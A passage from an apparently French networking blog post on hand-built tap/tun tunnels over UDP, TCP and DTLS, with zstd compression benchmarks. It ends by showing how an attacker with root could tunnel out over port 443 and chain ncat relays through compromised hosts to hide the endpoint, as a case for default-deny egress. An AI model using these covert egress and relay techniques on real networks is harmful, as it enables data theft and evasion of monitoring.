c\u0026rsquo;est tout ce que PPP négocie : pas de LCP donc pas de taille de trame convenue et pas de vérification de vivacité, pas d\u0026rsquo;IPCP/IPV6CP donc les deux bouts configurés à la main, pas d\u0026rsquo;authentification, pas de compression d\u0026rsquo;en-tête. Un tap est un trou dans le noyau, et le protocole qui le traverse est celui que vous y mettez. Ce que vous gagnez, c\u0026rsquo;est aucun surcoût de tramage, aucun échappement, aucun canal de contrôle, et une interface qui peut être bridgée.\nTap Sur UDP, Où Un Datagramme Est Une Trame C\u0026rsquo;est la correspondance la plus propre de tout le billet, et elle découle du design. Un tap est un périphérique à datagrammes — un read() rend exactement une trame — et un socket UDP est un socket à datagrammes, un sendto() par datagramme. Une trame va donc dans un datagramme, arrive comme une trame, et il n\u0026rsquo;y a rien à délimiter, à tamponner ou à resynchroniser. Perdez un datagramme et vous avez perdu une trame, ce à quoi un paquet jeté ressemble de toute façon.\nAvec socat, chaque bout est une commande :\n# listening end socat TUN:192.0.2.1/30,tun-type=tap,tun-name=tap0,iff-up UDP-LISTEN:443 # connecting end socat TUN:192.0.2.2/30,tun-type=tap,tun-name=tap0,iff-up UDP:198.51.100.10:443 socat n\u0026rsquo;est pas installé sur la machine où ceci a été écrit, ces deux-là viennent donc de sa documentation plutôt que d\u0026rsquo;un lancement ici — vérifiez les noms d\u0026rsquo;adresse de votre propre build avant de leur faire confiance. Il vaut la peine d\u0026rsquo;être là : c\u0026rsquo;est le seul outil de ce billet qui fait tun, tap, TLS et DTLS en un seul processus.\nLà où vous ne pouvez rien installer, tout le boulot tient en une cinquantaine de lignes sans dépendance au-delà de la bibliothèque standard. Le cœur, IFF_NO_PI désactive l\u0026rsquo;en-tête de quatre octets que le pilote préposerait sinon :\nTUNSETIFF, IFF_TAP, IFF_NO_PI = 0x400454CA, 0x0002, 0x1000 # IFF_TUN is 0x0001 def open_tap(name): fd = os.open(\u0026#34;/dev/net/tun\u0026#34;, os.O_RDWR) fcntl.ioctl(fd, TUNSETIFF, struct.pack(\u0026#34;16sH\u0026#34;, name.encode(), IFF_TAP | IFF_NO_PI)) return fd # ... learn the peer from the first datagram (UDP has no accept), then shovel: while True: ready, _, _ = select.select([tap, sock], [], []) if tap in ready and peer: sock.sendto(os.read(tap, MTU), peer) # one read = one frame = one datagram if sock in ready: frame, src = sock.recvfrom(MTU) peer = src # last speaker wins — see the note below if frame: os.write(tap, frame) Le fichier complet — l\u0026rsquo;analyse des arguments, l\u0026rsquo;IPv6 via getaddrinfo, le datagramme de longueur nulle qui dit à un écouteur UDP où répondre, et la compression qu\u0026rsquo;ajoute la section suivante — est dans le bundle :\n\u0026#8615; tapcat.py — le tout, une centaine de lignes tapcat.py · 6 kB peer = src à chaque datagramme est la partie à lire deux fois. Le dernier à avoir envoyé une trame devient le pair. Pratique derrière un NAT dont le port source ne cesse de bouger, et une porte ouverte sur un réseau non fiable, où quiconque peut envoyer un datagramme au port prend le tunnel. Bien à l\u0026rsquo;intérieur d\u0026rsquo;une session DTLS, où cela mène ; pas bien tout seul. La moitié socket du script a été exercée ici sur du loopback IPv6 : l\u0026rsquo;ouvreur arrive, l\u0026rsquo;écouteur apprend le pair, une trame traverse et la réponse revient ; la moitié tap a besoin de root, la seule partie que je n\u0026rsquo;ai pas pu lancer.\nSur TCP Il Faut Inventer Le Tramage Soi-Même Échangez maintenant le transporteur contre TCP et voyez apparaître tout un problème que PPP avait discrètement résolu en 1994.\nTCP est un flux d\u0026rsquo;octets sans frontières d\u0026rsquo;enregistrement et sans promesse sur la façon dont les octets sont groupés à l\u0026rsquo;arrivée : deux trames écrites à la suite peuvent arriver en une lecture, une trame en trois. Le récepteur tient un tas d\u0026rsquo;octets sans idée d\u0026rsquo;où finit une trame, et un tap n\u0026rsquo;accepte que des trames entières.\nUn datagramme par trame, ou un préfixe de longueur à inventer soi-même Une lecture sur un tap, c'est une trame. La garder ainsi, c'est le travail du transporteur. SUR UDP — la frontière est gratuite datagramme = trame A datagramme = trame B datagramme = trame C datagramme = trame D Une lecture, un datagramme, une écriture au bout distant. Rien à délimiter, rien à tamponner, rien à resynchroniser après une perte. SUR TCP — les frontières ont disparu et il faut les remettre un seul flux d'octets — deux trames peuvent arriver en une lecture, une trame en trois len trame A len trame B len trame C len trame D Deux octets de longueur big-endian devant chaque trame, et un récepteur qui lit la longueur puis exactement ce nombre d'octets. Cela marche, et cela ne se récupère pas. HDLC se resynchronise sur le 0x7E suivant parce qu'un fanion est sans ambiguïté ; un flux préfixé qui perd sa place lit toutes les longueurs suivantes au milieu d'une trame. Ajoutez un marqueur et une somme de contrôle et vous avez refait HDLC. Sur UDP, une trame est un datagramme et la frontière vient gratuitement. Sur TCP les frontières ont disparu, donc l\u0026rsquo;émetteur doit préfixer chaque trame d\u0026rsquo;une longueur et le récepteur doit réassembler à partir de là. PPP n\u0026rsquo;a pas ce problème parce qu\u0026rsquo;il apporte son propre tramage — un octet fanion à chaque bout et une somme de contrôle — ce qui est aussi ce qui lui permet de se resynchroniser après un dégât. Un flux préfixé de longueur ne peut pas : décalez-le d\u0026rsquo;un octet et chaque trame après est fausse. Sur TCP vous écrivez donc votre propre tramage. Deux octets de longueur big-endian devant chaque trame est la réponse habituelle :\n# sending sock.sendall(struct.pack(\u0026#34;!H\u0026#34;, len(frame)) + frame) # receiving def recv_exactly(sock, n): buf = b\u0026#34;\u0026#34; while len(buf) \u0026lt; n: chunk = sock.recv(n - len(buf)) if not chunk: raise ConnectionError(\u0026#34;carrier closed\u0026#34;) buf += chunk return buf length = struct.unpack(\u0026#34;!H\u0026#34;, recv_exactly(sock, 2))[0] frame = recv_exactly(sock, length) Cela marche, et c\u0026rsquo;est strictement pire que la version UDP. C\u0026rsquo;est de nouveau le problème TCP-sur-TCP ; cela ajoute deux octets et une boucle de réassemblage par trame ; et il n\u0026rsquo;y a aucun retour depuis une erreur, parce qu\u0026rsquo;un flux préfixé de longueur qui perd sa place lit chaque longueur suivante au milieu d\u0026rsquo;une trame. HDLC se resynchronise au 0x7E suivant ; ceci ne peut pas, sinon en réinventant HDLC en pire. Troisième argument pour UDP, et le plus fort : sur un transporteur à datagrammes il n\u0026rsquo;y a aucun problème de tramage, parce que le transporteur a déjà la seule fonctionnalité dont vous aviez besoin.\nTun Ou Tap : Couche 3, Sauf Si Vous Avez Vraiment Besoin De La Couche 2 Le même pilote vous donne deux périphériques, et les gens choisissent le mauvais sans cesse parce qu\u0026rsquo;un tutoriel disait tap.\ntun tap Ce qui traverse paquets IP trames Ethernet Surcoût par paquet aucun en-tête Ethernet de 14 octets ARP, DHCP, diffusion non oui, tout, sur le tunnel Protocoles non-IP non oui Peut rejoindre un pont non oui Équivaut à un lien point à point, comme ppp0 un câble réseau Tun est un lien routé — comme l\u0026rsquo;interface PPP de la première moitié : deux adresses, une route, des paquets qui entrent et sortent. Tap est un câble Ethernet virtuel, donc chaque diffusion, chaque requête ARP et chaque bruit multicast sur le segment traverse maintenant votre tunnel et brûle de la bande passante.\nChangez une ligne dans le script pour basculer :\nIFF_TUN = 0x0001 # instead of IFF_TAP Prenez tap quand vous avez vraiment besoin de la couche 2. Il y a de vraies raisons : un protocole qui n\u0026rsquo;est pas IP, un heartbeat de cluster qui s\u0026rsquo;attend à voir des diffusions, un serveur DHCP qui doit atteindre des clients à travers le tunnel, ou bridger deux segments en un.\nCe dernier est le cas courant et celui avec lequel il faut être prudent :\nip link add br0 type bridge ip link set tap0 master br0 ip link set eth1 master br0 ip link set br0 up Le segment distant fait maintenant partie du vôtre — ses diffusions, son spanning tree, son barattage de tables MAC et, si quelqu\u0026rsquo;un a été négligent, son serveur DHCP. Bridger deux sites qui font tous deux 192.168.1.0/24 est un mauvais après-midi ; un qui reboucle sur le même segment par un autre chemin est une mauvaise semaine. Par défaut tun, allez vers tap quand vous pouvez nommer la chose de couche 2 dont vous avez besoin, et ne bridgez qu\u0026rsquo;après avoir vérifié ce qui diffuse des deux côtés.\nLes Mêmes Enrobages, Un Processus Par Bout La construction tap a le même trou que celle en PPP : le transporteur est en clair et l\u0026rsquo;écouteur accepte le premier arrivé. La solution est la même, et avec socat elle se réduit à une commande par bout, parce qu\u0026rsquo;il fait le périphérique et termine la session DTLS dans un seul processus :\n# listening end socat TUN:192.0.2.1/30,tun-type=tap,tun-name=tap0,iff-up \\ OPENSSL-DTLS-LISTEN:443,cert=tunnel.pem,cafile=clients.crt,verify=1 # connecting end socat TUN:192.0.2.2/30,tun-type=tap,tun-name=tap0,iff-up \\ OPENSSL-DTLS-CLIENT:tunnel.example.net:443,cafile=tunnel.crt,verify=1 C\u0026rsquo;est la construction correcte la plus courte de ce billet. Une interface virtuelle, un transporteur à datagrammes, une authentification mutuelle par certificat et du chiffrement. Deux commandes. Ni daemon, ni négociation de protocole.\nverify=1 n\u0026rsquo;est pas optionnel — le même point que --ssl-verify, et avec le comportement peer = src ci-dessus, une partie non identifiée est à un datagramme de posséder votre tunnel. Si vous êtes coincé avec le script Python, n\u0026rsquo;y boulonnez pas TLS : pointez-le sur un port loopback et mettez l\u0026rsquo;enrobage devant, ou prenez socat. Un enrobage TLS bricolé autour d\u0026rsquo;un tunnel bricolé, ce sont deux chances de rater la partie intéressante.\nÉtape Cinq : Compresser Le Flux Avec zstd Il y a encore une chose qui vaut d\u0026rsquo;être mise dans le backend, et contrairement aux options de compression de pppd elle peut vraiment payer : compresser les trames avec zstd avant qu\u0026rsquo;elles n\u0026rsquo;entrent dans le transporteur.\nLe mot important là est trames, au pluriel. Compressez le flux, pas chaque paquet isolément. C\u0026rsquo;est le plus grand effet mesuré de ce billet.\nLe trafic réseau est répétitif d\u0026rsquo;une façon qui n\u0026rsquo;apparaît qu\u0026rsquo;à travers les paquets — les mêmes en-têtes, noms d\u0026rsquo;hôte et clés JSON, encore et encore. Un compresseur qui repart de zéro à chaque trame de 1 400 octets n\u0026rsquo;en voit rien ; un qui garde sa fenêtre à travers les trames en voit tout.\nCompresser avant de chiffrer, et garder la fenêtre si le transporteur le permet L'ordre est fixe. Le mode est la décision. tap0une lecture, une trame compresserzstd, niveau 1 chiffrerDTLS, ou TLS transporteurUDP, ou TCP Jamais dans l'autre sens. FLUSH_BLOCK — garder la fenêtre Émet tout ce qui précède, garde l'historique. Chaque trame est codée contre toutes celles d'avant. Pas de latence ajoutée : une trame entre, une trame sort. 5.0% sur du trafic répétitif · 7,5 % sur des lignes de log Exige chaque trame livrée, dans l'ordre. Donc : TCP, ou TLS sur TCP. Pas UDP, pas DTLS. FLUSH_FRAME — la jeter à chaque paquet Chaque datagramme est une trame zstd complète et se décode seul : le datagramme N marche encore si 1 à N-1 sont perdus. Le seul mode utilisable par un transporteur à datagrammes. 14.8% sur le même trafic · 24,2 % sur des lignes de log Un dictionnaire entraîné en récupère l'essentiel : 5,3 % et 15,1 %, et cela reste tolérant à la perte. La compression va entre le tap et le transporteur, et avant le chiffrement, parce que le texte chiffré ne se compresse pas. FLUSH_BLOCK est le mode qui compte : il émet tout ce qui précède, si bien qu\u0026rsquo;une trame en donne une trame en sortie sans latence ajoutée, tout en gardant l\u0026rsquo;historique de compression pour la trame suivante. FLUSH_FRAME jette cet historique à chaque paquet, ce qui le rend sûr sur un transporteur à perte et trois fois pire sur le fil. Sur un Fedora actuel cela n\u0026rsquo;a besoin de rien d\u0026rsquo;installé — Python 3.14 a apporté zstd dans la bibliothèque standard13 ; cette machine a 3.14.7 contre zstd 1.5.7 :\nfrom compression.zstd import ZstdCompressor, ZstdDecompressor # Python 3.14+ _c, _d = ZstdCompressor(level=1), ZstdDecompressor() # FLUSH_BLOCK: emit everything so far, keep the window for the next frame. out = _c.compress(frame, mode=ZstdCompressor.FLUSH_BLOCK) frame = _d.decompress(out) Un compresseur par sens, vivant pour la durée du lien. Un FLUSH_BLOCK par trame, si bien qu\u0026rsquo;une trame sort dès qu\u0026rsquo;elle arrive sans rien tamponner, et le bout distant rend une trame par bloc.\nCe Que Vaut La Fenêtre, Mesuré Chiffres de cette machine. Les mêmes trames de 1 400 octets, le même niveau 1, la seule différence étant si le compresseur garde son historique :\nTrafic dans le tunnel flux, FLUSH_BLOCK par paquet, FLUSH_FRAME par paquet avec dictionnaire entraîné Appels d\u0026rsquo;API répétitifs et télémétrie 5,0 % 14,8 % 5,3 % Lignes de log 7,5 % 24,2 % 15,1 % Texte brut et fichiers de configuration 37,8 % 51,3 % 45,3 % Octets aléatoires, en lieu et place de TLS 100 %+ 100,7 % — Le débit au niveau 1 a fait 205 Mo/s sur du texte et plus de 1 Go/s sur le trafic répétitif — plus c\u0026rsquo;est compressible, plus c\u0026rsquo;est rapide, parce qu\u0026rsquo;il y a moins à encoder.\nLe trafic de log tombe à 7,5 % de sa taille d\u0026rsquo;origine, contre 24,2 % par paquet — trois fois, mêmes données, même niveau, à partir d\u0026rsquo;un drapeau. Et le niveau 1 est le niveau : le niveau 3 a rapporté environ un pour cent, le niveau 9 un autre tout en faisant tomber le débit de 211 Mo/s à 61.\nLe Hic, Et C\u0026rsquo;est Le Même Hic Que Tout Le Reste Ici Une fenêtre partagée signifie que chaque trame dépend des précédentes : perdez-en une et l\u0026rsquo;historique du décompresseur ne correspond plus, et rien après ne décode. Donc la compression de flux a besoin d\u0026rsquo;un transporteur qui livre tout dans l\u0026rsquo;ordre — TCP, ou TLS sur TCP, pas UDP ni DTLS. C\u0026rsquo;est le seul argument honnête pour le transporteur TCP de tout ce billet. Si ce qui traverse votre tunnel est vraiment compressible — syslog, réplication de base de données en clair, télémétrie, une API bavarde — une session TLS à flux compressé déplace un tiers des octets qu\u0026rsquo;un transporteur à datagrammes déplacerait, ce qui sur un chemin correct peut battre la pénalité de retransmission. Mesurez-le sur votre propre trafic.\nSur UDP, Où Un Dictionnaire Fait Le Travail De La Fenêtre Là où le transporteur est UDP ou DTLS, et ce devrait être par défaut, vous ne pouvez pas garder de fenêtre : chaque datagramme tient seul, ce qui veut dire FLUSH_FRAME et la colonne plus faible ci-dessus. Un dictionnaire entraîné donne au compresseur le contexte inter-paquets qu\u0026rsquo;une fenêtre aurait, sans aucune dépendance entre datagrammes :\n# capture a few thousand real frames off the link first, one per file zstd --train frames/* -o tunnel.dict --maxdict=110000 ```[^zstddict] ```python from compression.zstd import ZstdCompressor, ZstdDecompressor, ZstdDict d = ZstdDict(open(\u0026#34;tunnel.dict\u0026#34;, \u0026#34;rb\u0026#34;).read()) _c = ZstdCompressor(level=1, zstd_dict=d) # load it ONCE, not per frame out = _c.compress(frame, mode=ZstdCompressor.FLUSH_FRAME) Sur le trafic répétitif cela a fait passer la compression par paquet de 14,8 % à 5,3 %, récupérant 96 % de l\u0026rsquo;écart avec la compression de flux complète tout en restant tolérant à la perte ; sur les lignes de log 55 % de l\u0026rsquo;écart, sur le texte général 44 %.\nTrois règles vont avec. Les deux bouts doivent charger le même dictionnaire ou rien ne décode — vérifié ici, une trame compressée avec dictionnaire lève ZstdError sans lui. Entraînez sur une capture du vrai trafic, car un dictionnaire est un a priori et un mauvais vous coûte : le dictionnaire de texte a rendu un texte différent légèrement pire. Et chargez-le une fois dans un compresseur à longue durée de vie ; le passer à chaque appel a mesuré 5 Mo/s, ce qui n\u0026rsquo;est pas une faute de frappe.\nL\u0026rsquo;Octet D\u0026rsquo;En-Tête Et La Rampe D\u0026rsquo;Une Seconde Deux petites choses qui empêchent que ce soit fragile.\nChaque datagramme porte un octet d\u0026rsquo;en-tête, et il nomme le mode au lieu de dire seulement « compressé » : 0x00 la trame telle quelle, 0x01 une trame zstd autonome, 0x02 un bloc d\u0026rsquo;un flux continu. Un récepteur peut alors décoder ce que le bout distant a choisi sans être configuré pour correspondre, ce qui vaut l\u0026rsquo;octet à soi seul.\nEn mode trame l\u0026rsquo;émetteur n\u0026rsquo;envoie la forme compressée que quand elle est vraiment plus petite, car la compression n\u0026rsquo;est pas toujours gagnante : les octets aléatoires sont sortis à 100,7 %, et un ACK TCP de 64 octets se compresse à 73 — l\u0026rsquo;en-tête zstd de dix octets sur un paquet où il n\u0026rsquo;y a rien à presser. Le nombre de paquets sur une vraie liaison est dominé par les petits paquets, donc sans cette vérification vous gonfleriez la majorité de votre trafic pour rétrécir la minorité. En mode flux il envoie toujours la forme compressée, car en sauter une désaccorderait les deux fenêtres.\nEt le lien démarre en brut : pendant la première seconde chaque trame sort non compressée, quoi que disent les réglages, et chaque sens monte en rampe seul :\nRAMP = 1.0 # seconds of raw frames before compression starts def pack(self, frame): if self.c is None or time.monotonic() - self.started \u0026lt; RAMP: return RAW + frame out = self.c.compress(frame, mode=ZstdCompressor.FLUSH_BLOCK) return ZSTD + out if len(out) \u0026lt; len(frame) else RAW + frame C\u0026rsquo;est l\u0026rsquo;idée d\u0026rsquo;étapes du début du billet appliquée à un seul lien. Le tunnel monte sur le chemin le plus simple qu\u0026rsquo;il a, prouve qu\u0026rsquo;il peut porter une trame, et ne commence à faire quoi que ce soit de malin qu\u0026rsquo;ensuite. Quand il casse, vous savez dans quelle seconde il a cassé.\nÉtape Six : Compressé Et Chiffré, Et Ce Que L\u0026rsquo;Ordre Coûte L\u0026rsquo;ordre compte, et un seul marche : compresser, puis chiffrer. Le texte chiffré ne se compresse pas, comme le montre la ligne à 100,7 % — c\u0026rsquo;est aussi pourquoi TLS 1.3 a retiré sa propre compression, laissant votre couche comme le seul endroit où le faire. Cet ordre a un problème connu, le même que j\u0026rsquo;ai soulevé contre deflate : compresser avant de chiffrer fait fuiter le texte clair par la longueur du texte chiffré, et là où un attaquant peut injecter des données choisies à côté d\u0026rsquo;un secret et observer les tailles, cette fuite a été plus d\u0026rsquo;une fois une attaque qui marche — CRIME et BREACH contre TLS14, et VORACLE contre exactement cette forme15.\nCe n\u0026rsquo;est pas une raison de ne jamais compresser. C\u0026rsquo;est une raison de savoir dans quel cas vous êtes :\nUn lien qui porte votre propre trafic entre deux machines qui vous appartiennent — réplication, sauvegardes, logs, télémétrie — n\u0026rsquo;a pas de texte clair choisi par un attaquant voyageant avec des secrets. Compressez-le, et compressez le flux. Un lien qui porte de la navigation utilisateur quelconque, où le contenu web de quelqu\u0026rsquo;un d\u0026rsquo;autre et vos identifiants vont ensemble, est le cas au sujet duquel VORACLE a été écrit. Laissez-le désactivé. La raison pour laquelle je suis à l\u0026rsquo;aise de mettre ceci dans la construction tap et pas dans celle en PPP n\u0026rsquo;est pas un principe : ici vous choisissez délibérément un algorithme moderne, pour du trafic que vous avez regardé, tandis que le deflate de pppd compresse tout par défaut avec un de 1996, que le cas s\u0026rsquo;y prête ou non.\nCe Que La Construction Tap Gagne Et Ce Qu\u0026rsquo;Elle Abandonne Mettez les deux moitiés côte à côte, car elles ne se concurrencent pas. Ce sont des compromis différents.\npppd sur un socket tap ou tun sur un socket Tramage intégré (HDLC, se resynchronise après un dégât) aucun sur UDP car aucun n\u0026rsquo;est nécessaire ; inventez-le sur TCP Configuration d\u0026rsquo;adresse négociée par IPCP et IPV6CP configurée à la main aux deux bouts Vivacité écho LCP, intégré aucune ; vous l\u0026rsquo;ajoutez ou le lien meurt en silence Authentification PAP ou CHAP disponibles, tous deux faibles aucune du tout Couche 3 seulement 3 avec tun, 2 avec tap Bridging non oui, avec tap Surcoût fanion, en-tête et FCS par trame, plus l\u0026rsquo;échappement rien, ou 14 octets avec tap Compression deflate et BSD, activés par défaut, de 1996 aucune, ou zstd par trame que vous ajoutez et contrôlez Root nécessaire oui, tout du long pour créer le périphérique ; pas pour l\u0026rsquo;utiliser Lignes de pièces mobiles un daemon, trente ans d\u0026rsquo;âge un descripteur de fichier PPP vous donne un lien négocié qui se surveille lui-même et le facture d\u0026rsquo;un protocole. Un tap vous donne un trou brut pour rien, et vous fournissez les pièces manquantes ou vous vous en passez. Pour un tunnel laissé tourner, la vérification de vivacité manquante est celle qui mord : pppd remarque un transporteur mort en trente secondes et le reconstruit, la construction tap ne remarque rien parce que rien dedans ne surveillait. Ajoutez un keepalive, faites-le tourner sous quelque chose qui le relance, ou prenez la construction qui en a déjà un.\nQuand C\u0026rsquo;Est Le Bon Outil, Et Quand Ce Ne L\u0026rsquo;Est Pas Ce n\u0026rsquo;est jamais vraiment le bon outil, et je ne vais pas prétendre le contraire. Tout ci-dessus marche, et rien de tout cela n\u0026rsquo;est ce que vous devriez faire tourner en production. La version honnête d\u0026rsquo;un tutoriel comprend la partie où vous posez l\u0026rsquo;outil, et c\u0026rsquo;est cette partie.\nCe à quoi il est vraiment bon, c\u0026rsquo;est à vous montrer comment une chose marche. Un VPN démonté en pièces et, dans la section suivante, comment se comporte vraiment l\u0026rsquo;egress dès que quelqu\u0026rsquo;un est dans votre réseau avec root. Ce sont les raisons d\u0026rsquo;avoir lu ceci. Les cas étroits ci-dessous sont réels, mais ils ne sont pas pourquoi le billet existe.\nPrenez la construction PPP quand :\nLe transporteur n\u0026rsquo;est pas IP du tout — une console série, un gadget USB, une liaison radio, un tube nommé, un canal SSH. pppd se moque de ce sur quoi voyagent les octets, et un tap ne peut pas vous aider ici. Vous sauvez quelque chose : une machine avec une console série, sans réseau, et un travail à finir ce soir. PPP sur cette console est un lien routé, installé aux deux bouts sans rien à copier. Vous voulez que le lien se débrouille seul. L\u0026rsquo;écho LCP, la négociation d\u0026rsquo;adresses et le redémarrage sont gratuits ; les écrire soi-même est la façon dont la construction tap devient un petit produit peu fiable. Prenez la construction tap quand :\nVous avez besoin de la couche 2 — un protocole non-IP, un heartbeat de cluster qui veut des diffusions, du DHCP à travers le tunnel, ou deux segments qui doivent n\u0026rsquo;en faire qu\u0026rsquo;un. Vous voulez le moins de pièces mobiles : sur UDP avec DTLS ce sont deux commandes, ni daemon, ni négociation, rien à échapper. Root est rare. Créez le périphérique une fois avec user, et le processus qui déplace les trames n\u0026rsquo;a plus jamais besoin de privilèges. Les deux sont le bon outil quand vous apprenez. Chaque couche est visible et remplaçable séparément, et il n\u0026rsquo;y a pas de meilleure façon de comprendre ce que fait un produit VPN que d\u0026rsquo;en construire un à partir des pièces et de regarder chacune monter.\nAucun n\u0026rsquo;est le bon outil quand vous voulez un VPN. Pour cela, prenez WireGuard. Il est dans le noyau, une fraction du code, il fait la crypto correctement sans rien à négocier et rien à rater, et c\u0026rsquo;est un protocole à datagrammes par conception. ssh -w vous donne un tun sur une session SSH existante en une commande, et OpenVPN est la version mûre et auditée de la forme DTLS-sur-tap ci-dessus. Tous trois sont meilleurs à cela que tout ce qui est construit ici.\nConstruisez ceci parce que vous voulez savoir ce qu\u0026rsquo;il y a dans la boîte que vous achetez. Pas parce que c\u0026rsquo;était malin.\nCe Que Cela Montre Vraiment : L\u0026rsquo;Egress Du Côté De L\u0026rsquo;Attaquant C\u0026rsquo;est la raison de lire un billet de construction qu\u0026rsquo;on vient de vous dire de ne pas utiliser. Retournez-le et regardez depuis l\u0026rsquo;intérieur de votre propre réseau, en tant que celui qui vient d\u0026rsquo;y atterrir avec root. Chaque vraie intrusion finit là, par une clé volée, une évasion de conteneur, un service non corrigé, un initié. La question qui décide alors de la gravité de la journée n\u0026rsquo;est pas « que peuvent-ils exécuter », car ils peuvent tout exécuter. C\u0026rsquo;est « qu\u0026rsquo;est-ce qui peut sortir, et l\u0026rsquo;aviez-vous décidé avant leur arrivée ? »\nSi le sortant est ouvert par défaut, la réponse est : tout, et vous ne pouvez plus grand-chose. Rien ici n\u0026rsquo;était exotique. pppd, ncat, socat et ip sont des paquets de distribution signés déjà sur la machine ; le shim tap fait cinquante lignes de bibliothèque standard. Un port sortant autorisé — et c\u0026rsquo;est le 443, celui que chaque réseau ouvre par défaut — et il y a un lien routé de votre réseau vers celui de quelqu\u0026rsquo;un d\u0026rsquo;autre, chiffré, authentifié, survivant aux redémarrages, portant IPv4 et IPv6, et à votre frontière indiscernable de n\u0026rsquo;importe quelle session HTTPS que vos utilisateurs font dix mille fois par jour. Faites-le tap et bridgez-le et ce qui a quitté le bâtiment n\u0026rsquo;est pas une route. C\u0026rsquo;est le segment.\nIl n\u0026rsquo;y a rien qu\u0026rsquo;un scanner puisse attraper : aucune signature de malware parce qu\u0026rsquo;il n\u0026rsquo;y a pas de malware, aucun protocole étrange parce que c\u0026rsquo;est une poignée de main TLS normale vers le 443, aucun binaire inhabituel parce que votre propre gestionnaire de paquets a installé chacun. Le proxy journalise une connexion et un compteur d\u0026rsquo;octets, et les deux ont l\u0026rsquo;air de travail.\nEt la destination n\u0026rsquo;est même pas fixe. Un socket n\u0026rsquo;a pas à se terminer là où les paquets aboutissent, parce que le transporteur peut être dirigé par un proxy — un relais qui n\u0026rsquo;est rien de plus que deux connexions et un tube, ce que la section suivante construit en une ligne de shell. ncat prend --proxy avec --proxy-type http, socks4 ou socks5, si bien que la session TLS que voit votre frontière se termine là où l\u0026rsquo;attaquant lui a dit de se connecter à travers — un hôte de rebond interne, un point de terminaison SaaS autorisé qui relaie le CONNECT, un relais cloud — et le tunnel chevauche de là vers un endroit que vous ne voyez jamais. HTTP CONNECT et SOCKS font tous deux ça par conception, car c\u0026rsquo;est à ça que sert un proxy. Une entrée de liste blanche pour une destination à laquelle vous faites confiance n\u0026rsquo;est donc jamais que de la confiance dans la destination et dans tout ce vers quoi elle relaiera, que vous ne contrôlez pas et ne pouvez pas énumérer. Le point de terminaison dans votre journal de pare-feu est le proxy. Ce n\u0026rsquo;a jamais été le bout distant.\nAlors la vérité inconfortable : dès que quelqu\u0026rsquo;un est dedans avec root et que le sortant est permissif, le tunnel n\u0026rsquo;est pas ce que vous pouvez empêcher. Les pièces sont installées, la sortie est ouverte, et elle ne mène même pas là où elle semble mener. Votre unique chance de rendre cela difficile était avant l\u0026rsquo;arrivée de l\u0026rsquo;attaquant, à la frontière, en décidant de ce qui peut sortir.\nC\u0026rsquo;est le default-deny en egress, et c\u0026rsquo;est toute la leçon. Sortant bloqué par défaut ; une liste blanche courte et nommée où une personne a justifié chaque destination et chaque port ; tout le reste refusé, journalisé et alerté. Non parce que cela arrête net un attaquant déterminé — une destination autorisée est un tunnel autorisé — mais parce que l\u0026rsquo;alternative est de n\u0026rsquo;avoir aucune décision à faire respecter. Une politique d\u0026rsquo;egress écrite comme une liste de ports autorisés est une politique sur des numéros de port. Ce n\u0026rsquo;a jamais été une politique sur ce qui sort, et dès que quelqu\u0026rsquo;un a root, les numéros de port sont tout ce qu\u0026rsquo;elle protège.\nC\u0026rsquo;est le même constat que le billet sur ping, qui construit le tunnel à partir de l\u0026rsquo;écho ICMP, et le billet sur les protocol helpers, où votre pare-feu ouvre les trous lui-même. Trois voies d\u0026rsquo;entrée, une conclusion : le contrôle que vous croyiez avoir portait sur des protocoles, et aucun de ces protocoles n\u0026rsquo;est ce qu\u0026rsquo;il dit être. La frontière, décidée à l\u0026rsquo;avance et en default-deny, est le seul contrôle qui ait jamais été réel.\nUn Proxy, C\u0026rsquo;Est Deux Connexions Et Un Tube Il vaut la peine de voir à quel point un relais est peu de chose, car cela explique pourquoi vous ne pouvez pas raisonner sur le bout distant à partir du proche. Un proxy n\u0026rsquo;est pas un logiciel spécial. C\u0026rsquo;est une connexion jointe à une autre par un tube. La forme la plus ancienne utilise un tube nommé, une FIFO, pour porter le sens retour : un ncat écoute, un autre se connecte plus loin, et la FIFO câble le chemin de réponse entre eux.\nmkfifo backpipe ncat -l 7000 0\u0026lt;backpipe | ncat farend.example.net 7100 1\u0026gt;backpipe Lisez-le comme de la plomberie : la sortie de l\u0026rsquo;écouteur file dans le second ncat et jusqu\u0026rsquo;au bout distant, et les réponses reviennent par la FIFO jusqu\u0026rsquo;au client. Deux sockets, un tube, les deux sens, et la connexion du client se termine ici, au relais, tandis que les paquets continuent vers farend et reviennent. J\u0026rsquo;ai fait exactement cela sur du loopback avec un troisième ncat renvoyant l\u0026rsquo;écho au bout distant, et une ligne envoyée est revenue après avoir fait tout le trajet.\nUn relais, c'est deux sockets jointes par un tuyau, et le point final se déplace Une connexion entre, une autre sort, un tuyau entre les deux. Voilà un proxy. client ouvre une session TLS RELAIS — la destination qu'enregistre votre bordure ncat -l 7000 termine le client ncat farend ouvre un nouveau saut bout distant le vrai autre côté stdout backpipe (FIFO) ramène les réponses client → relais relais → bout distant La connexion du client finit au relais. Les paquets, non. Votre pare-feu a enregistré une connexion vers cette machine. Vers où elle relaie se décide dans la machine, et en chaîner trois met le vrai bout distant à trois tuyaux — le journal de chaque saut ne montrant qu'une sage connexion locale vers le suivant, et rien au-delà. Un relais, c\u0026rsquo;est deux sockets et un tube. L\u0026rsquo;écouteur termine la connexion du client. Un second netcat ouvre une connexion fraîche plus loin, et la FIFO porte le sens retour entre eux. La session TLS du client se termine ici, au relais, et un nouveau saut commence — si bien que la destination que votre frontière a journalisée est cette machine, et les paquets continuent vers où qu\u0026rsquo;elle relaie. Chaînez-en trois et le bout distant est à trois tubes, chaque pare-feu de saut ne voyant qu\u0026rsquo;une connexion locale propre vers le suivant. Ncat fait la même chose en un seul processus, en exec-utant la connexion suivante pour chaque client qui arrive :\nncat -l 7000 --keep-open --sh-exec \u0026#39;ncat farend.example.net 7100\u0026#39; Même forme, moins de pièces : le socket de l\u0026rsquo;écouteur est joint à celui du ncat exec-uté par le tube que le shell place entre eux. Chaînez-en trois et le tunnel traverse trois réseaux, se terminant et repartant à chacun, chaque pare-feu de saut journalisant une connexion locale propre vers le suivant et rien au-delà.\nC\u0026rsquo;est tout le tour de passe-passe, et c\u0026rsquo;est pourquoi le journal de frontière n\u0026rsquo;est pas la preuve d\u0026rsquo;une destination. Chaque relais est le bout distant pour autant que la machine d\u0026rsquo;avant puisse le dire, et le vrai autre bout est à autant de tubes que personne ne regardait.\nMettez maintenant ces relais sur des machines qui ne sont pas celles de l\u0026rsquo;attaquant.\nDes relais chaînés sur des hôtes compromis blanchissent le point final Chaque saut est la machine d'un autre, et chaque propriétaire ne voit que du milieu attaquant 